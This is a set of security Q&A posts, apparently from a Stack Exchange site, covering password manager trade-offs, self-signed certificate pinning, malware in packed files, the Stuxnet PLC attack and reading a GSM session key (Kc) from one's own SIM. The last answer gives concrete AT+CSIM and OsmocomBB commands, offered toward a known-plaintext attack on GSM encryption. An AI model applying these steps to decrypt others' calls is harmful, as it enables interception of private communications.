Protection of the database's Integrity is entirely dependent upon the host system. Individual passwords may be deleted or overwritten without deleting or modifying the rest of the database and without any foreknowledge of any of its passwords.

KeePass/TrueCrypt

Pros

The database's Integrity is protected by the same key which protects its Confidentiality. Without that key, an attacker cannot modify or delete individual keys - they can only delete the entire database.

Cons

I can't think of any, in comparison to HashPass.

Availability

HashPass

Pros

You can forget one or more passwords, but still have the ability to verify other passwords in the database.

Cons

You need to remember every password in the database, to verify every password in the database. If you forget a password, there's no way to get it from the database.

KeePass/TrueCrypt

Pros

You only need access to one key (though it may contain multiple components, at your option) to gain access to all passwords in the database.
You never need to remember any of the passwords in the database.

Cons

If you forget that one password, or lose/forget any of the other key components, you cannot access any of the passwords in the database.

Usability

For the Usability section, I'm going to compare a few "forgotten password scenarios" and also throw in "No Password Management" as an option as a baseline.

No Password Management

If you've forgotten which password you used, but can guess it in the first few tries...

You will brute-force your passwords on the target system until you eventually gain access.

If you've forgotten which password you used, and it takes you numerous attempts to guess the correct one...

You may trigger an account lockout and/or imposed password reset/recovery. A password reset may not permit reuse of previous passwords. Account lockouts and/or imposed password reset/recovery is becoming more the norm, but many systems still do not implement this. Prohibitions on password reuse is still relatively rare outside of high-security systems, but are becoming more common.
If the system does not use account lockouts or imposed password reset/recovery, you will eventually gain access.

If you've forgotten the password entirely...

If not automatically triggered, you will have to initiate a password recovery/reset process.

HashPass

If you've forgotten which password you used, but can guess it in the first few tries...

You will brute-force the passwords in HashPass until you guess the correct one, then will have to re-enter the password on the target system.

If you've forgotten which password you used, and it takes you numerous attempts to guess the correct one...

You will brute-force the passwords in HashPass until you guess the correct one without risk of triggering an account lockout or imposed password reset/recovery.

If you've forgotten the password entirely...

You will need to initiate a password recovery/reset process and update the database entry.

KeePass/TrueCrypt

If you've forgotten which password you used or forgotten the password entirely...

You will authenticate to the KeePass or TrueCrypt database and immediately have access to the correct password.
KeePass can even be configured to enter the password for you automatically.

If you've forgotten which password you used or forgotten the password entirely, and you cannot access the KeePass/TrueCrypt database (forgot KeePass/TrueCrypt password, or forgot/lost key files or other KeePass/TrueCrypt authenticators)...

You will need to initiate a password recovery/reset process and rebuild the entire password database.

In terms of usability, I believe KeePass/TrueCrypt clearly wins outright while HashPass is only a little bit better than no password management at all. In my personal experience, I've rarely - if ever - triggered an account lockout or imposed password reset/recovery by brute-forcing my own account. Usually I'll give up on brute-forcing it (which I'd still need to do with HashPass) before I hit a threshold anyway. It's also much easier to keep the one password (and/or other authenticators) in mind than it is to remember all the passwords in the database - which you effectively still need to do with HashPass.

For overall security, in "CIA" terms, both password management mechanisms have some areas where they have good strengths, as well as some pretty bad weaknesses.

How does everything balance out? I personally would prefer KeePass/TrueCrypt for its great usability benefits, the fact that its key strength is not dependent upon outside restrictions, and the fact that its key is not inherently obtainable from outside systems. Of course, the end decision is up to you.


Is self signed certificate secure for personal use if verified before access? I made a simple streaming server with self signed certificate. Is it secured enough if I manually check my certificate? My server also has password.

Is it secured enough if I manually check my certificate?

What you're describing is essentially Certificate Pinning.  That being the case, the answer is generally "Yes, it is secure, but it's not a recommended or popular method, due to scalability and maintenance issues."

If this is something your setting up for yourself, it's fine; if you're expecting some number of people to use it, you should think about getting a regular cert.  Let's Encrypt is cheap and easy.


How to scan large .bin files for malware? I know about websites like VirusTotal, and programs like herdprotect.

I'm using Avira and Superantispyware, but once the large bin files are scanned, usually nothing is found.

But after running an installer that unpacks the bin files, the result of installed files and folders did produce some trojans, and other warnings once unpacked.

Are most anti-virus programs and malware scanners scanning .bin files inside for content or not?

Scanning packed files like archives is very resource intensive. Many administrators limit the amount of (recursive) unpacking to preserve resources. Malware authors know that and like to pack, archive and encrypt files multiple times. This increases the chance of causing false-negatives.

If you want to deal with such files, you have to unpack and analyze them, no matter how much resources it might cost (as long as it is not causing a resource exhausting DoS in your environment).


Was the Stuxnet S7-417 payload a firmware update? I'm a bit confused about the Stuxnet S7-417 attack. I believe Stuxnet performed a man-in-the-middle attack on the PLC, closing various valves in the background while it spoofed the values in the input image of the PLC, left the original logic running to write to the output image, and disassociated the input and output images from the sensors and actuators 2. However, I don't understand how this could work if the logic on the PLC wasn't changed (which I assume it wasn't, as the original program continued to run), but I doubt that it was a firmware change as I've read that changing the firmware on PLCs is very difficult due to digital signatures 3. So where actually was the modification made?

[I have never actually played around with PLCs - only read about them - which may be why I can't see how this works]

2 www.langner.com/2010/11/417-attack-code-doing-the-man-in-the-middle-on-the-plc/

3 Section 2.3, https://arxiv.org/pdf/1702.05241.pdf

According to Lagner:

  Immediately after infection the payload of this early Stuxnet variant
  takes over control completely. Legitimate control logic is executed
  only as long as malicious code permits it to do so; it gets completely
  de-coupled from electrical input and output signals. The attack code
  makes sure that when the attack is not activated,
  legitimate code has access to the signals; in fact it is
  replicating a function of the controller’s operating
  system that would normally do this automatically but
  was disabled during infection. In what is known as a
  man-in-the-middle scenario in cyber security, the input
  and output signals are passed from the electrical
  peripherals to the legitimate program logic and vice
  versa by attack code that has positioned itself “in the
  middle”.
  [Page 8]

That seems to suggest that logic flow was changed at the software level.

[Side note] It appears the original Lagner article has been moved. The PacketStorm link works.


How do I get Kc from my SIM card? Since listening to a few Defcon talks on SIM cards and, more recently, the NSA Playset, I've become interested in GSM. This page gives a fairly good tutorial on getting Kraken set up, but apparently for a known-plaintext attack, I need to know the plaintext. The aforementioned tutorial isn't very helpful with this, only saying:

  Note: this step [known-plaintext attack with Kraken] is not as easy as it sounds. Usually capture some calls of your own phone where you know the Kc (it can be read from
    the SIM or displayed by the Engineering Mode Screen of some phones)
    and look for known-plain-text candidates. An example are "SYSTEM
    INFORMATION 5/6/5ter" in the SACCH or "LAPDM U, func=UI" frames.
    Also keep in mind that there could be wrong bits in a burst due to
    distortion.

I'm more than happy to do this, as I believe in learning through experimentation (and like playing in traffic), but I'm having trouble finding Kc. I don't have the hardware to read my SIM card while it's connected to my phone (which I think I would need to do, or there wouldn't be any open sessions to have keys for). That leaves this "Engineering Mode Screen." I found several Android apps which say they open Engineering Mode, all of which open a screen entitled "Testing." This gives a great deal of information, but I don't see Kc (or anything that looks like it). Does anyone know how I can find my session key (preferably without buying anything)? Thanks!

To find Kc from a SIM card you have 4 working ways :

(Credits to http://domonkos.tomcsanyi.net/?p=369)

BlackBerry Engineering Screen:

  pretty much on all of the BlackBerries you can enable the so called “Engineering Mode” which will simply show you the current Kc.

OsmocomBB Mobile App

  Download and install the app

  Upload layer1 to your phone
  Run mobile -i 127.0.0.1
  telnet 127.0.0.1 4247

  After that simply say:
  show subscriber 1 At the top you should see the
  Kc printed.

AT+CSIM Command

You need to send APDU commands to the SIM card via the modem (some phones allow you to do so):

  Sample run:

  AT+CSIM=14,"A0A40000026F20"
  +CSIM: 34,"000000096F2004001100BB010200009000"

  OK
  AT+CSIM=10,"A0B0000009"
  +CSIM: 22,"E0940FC09AEFA000009000"

  OK
  You find the last Kc used here: E0 94 0F C0 9A EF A0 00 and also the key sequence > number: 00

(From : http://openbsc.osmocom.org/trac/wiki/A5_GSM_AT_tricks)

Using a SIM-card reader/Smart Card Reader

You need a PC/SC cardreader and a software like SIMspyII. After insterting the card, you will have Kc displayed.

I just copied the information from http://domonkos.tomcsanyi.net/?p=369 to be sure the information will not disapear if the site goes down.